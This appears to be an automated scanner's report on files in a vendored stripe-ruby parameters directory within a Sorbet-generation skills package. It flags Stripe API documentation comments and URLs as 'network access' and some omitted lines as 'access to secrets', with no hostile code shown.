packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 107
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 109
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 113
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 140
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 182
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to 
  • Network accessline 230
    # A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used.
  • Network accessline 236
    # A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since the Unix epoch. If no value is passed, the default expiration date configured in your [quote template settings](https://dashb
  • Network accessline 238
    # A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used.
  • Network accessline 242
    # A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used.
  • Network accessline 248
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_finalize_quote_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_list_computed_upfront_line_items_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_list_line_items_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_pdf_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 95
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 97
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 101
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 130
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 159
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to 
  • Network accessline 216
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/early_fraud_warning_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/early_fraud_warning_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_item_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/radar/value_list_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 24
    # String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `requested_by_customer`. If you believe the charge to be fraudulent, specifying `fraudulent` as the reason will add the associated car

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_expire_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/refund_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_run_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 22
    # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva
  • Network accessline 47
    # Parameters specifying how the report should be run. Different Report Types have different required and optional parameters, listed in the [API Access to Reports](https://docs.stripe.com/reporting/statements/api) documentation.
  • Network accessline 49
    # The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_run_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_run_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_type_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/reporting/report_type_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/review_approve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/review_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/review_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_attempt_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_confirm_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 98
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 106
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 301
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 421
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 449
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 593
    [Credential-related source omitted]
  • Access to secretsline 594
    [Credential-related source omitted]
  • Network accessline 619
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 658
    # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 778
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1085
    # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Controls whether this SetupIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste
  • Network accessline 9
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may 
  • Network accessline 112
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 120
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 315
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 435
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 463
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 607
    [Credential-related source omitted]
  • Access to secretsline 608
    [Credential-related source omitted]
  • Network accessline 633
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 672
    # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 792
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1091
    # Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to ch
  • Network accessline 1093
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1131
    # This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confirm).
  • Network accessline 1133
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1139
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent.
  • Network accessline 1141
    # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)
  • Network accessline 1146
    # The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings
  • Network accessline 1148
    # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can alternatively supply an application URI scheme. This parameter can

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_retrieve_params.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 59
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 67
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 262
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 382
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 410
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 554
    [Credential-related source omitted]
  • Access to secretsline 555
    [Credential-related source omitted]
  • Network accessline 580
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 619
    # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 739
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1058
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1062
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent.
  • Network accessline 1064
    # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)
  • Network accessline 1069
    # The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/setti

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_verify_microdeposits_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 55
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 57
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 74
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 78
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 31
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/sigma/scheduled_query_run_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/sigma/scheduled_query_run_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 94
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 102
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 192
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 200
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 250
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready.
  • Network accessline 276
    # The `type` of the source to create. Required unless `customer` and `original_source` are specified (see the [Cloning card Sources](https://docs.stripe.com/sources/connect#cloning-card-sources) guide)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_detach_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_retrieve_params.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_transaction_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 94
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 102
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 174
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 182
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 236
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_verify_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 58
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 60
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 62
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 85
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 91
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 233
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 268
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 270
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 274
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 301
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 307
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 311
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 385
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 522
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 580
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 586
    # A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). The anchor is the reference point that aligns future billing cycle dates. It sets the day of week for `wee
  • Network accessline 600
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 608
    # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de
  • Network accessline 610
    # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I
  • Network accessline 624
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 630
    # Only applies to subscriptions with `collection_method=charge_automatically`.     #     # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status a
  • Network accessline 631
    #     # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a
  • Network accessline 632
    # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a subsc
  • Network accessline 633
    #     # Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent
  • Network accessline 634
    # Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent on th
  • Network accessline 635
    #     # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer 
  • Network accessline 636
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer action
  • Network accessline 644
    # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval.
  • Network accessline 646
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is passed, the default is `create_prorations`.
  • Network accessline 650
    # Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan the customer is being subscribed to. The special v
  • Network accessline 652
    # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U
  • Network accessline 654
    # Integer representing the number of trial period days before the customer is charged for the first time. This will always overwrite any trials that might apply via a subscribed plan. See [Using trial periods on subscriptions](https://docs.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_delete_discount_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 42
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 44
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 48
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 77
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 79
    # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam
  • Network accessline 80
    #     # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user
  • Network accessline 81
    # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio
  • Network accessline 82
    #     # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi
  • Network accessline 83
    # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd
  • Network accessline 85
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede
  • Network accessline 91
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 93
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 95
    # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic
  • Network accessline 101
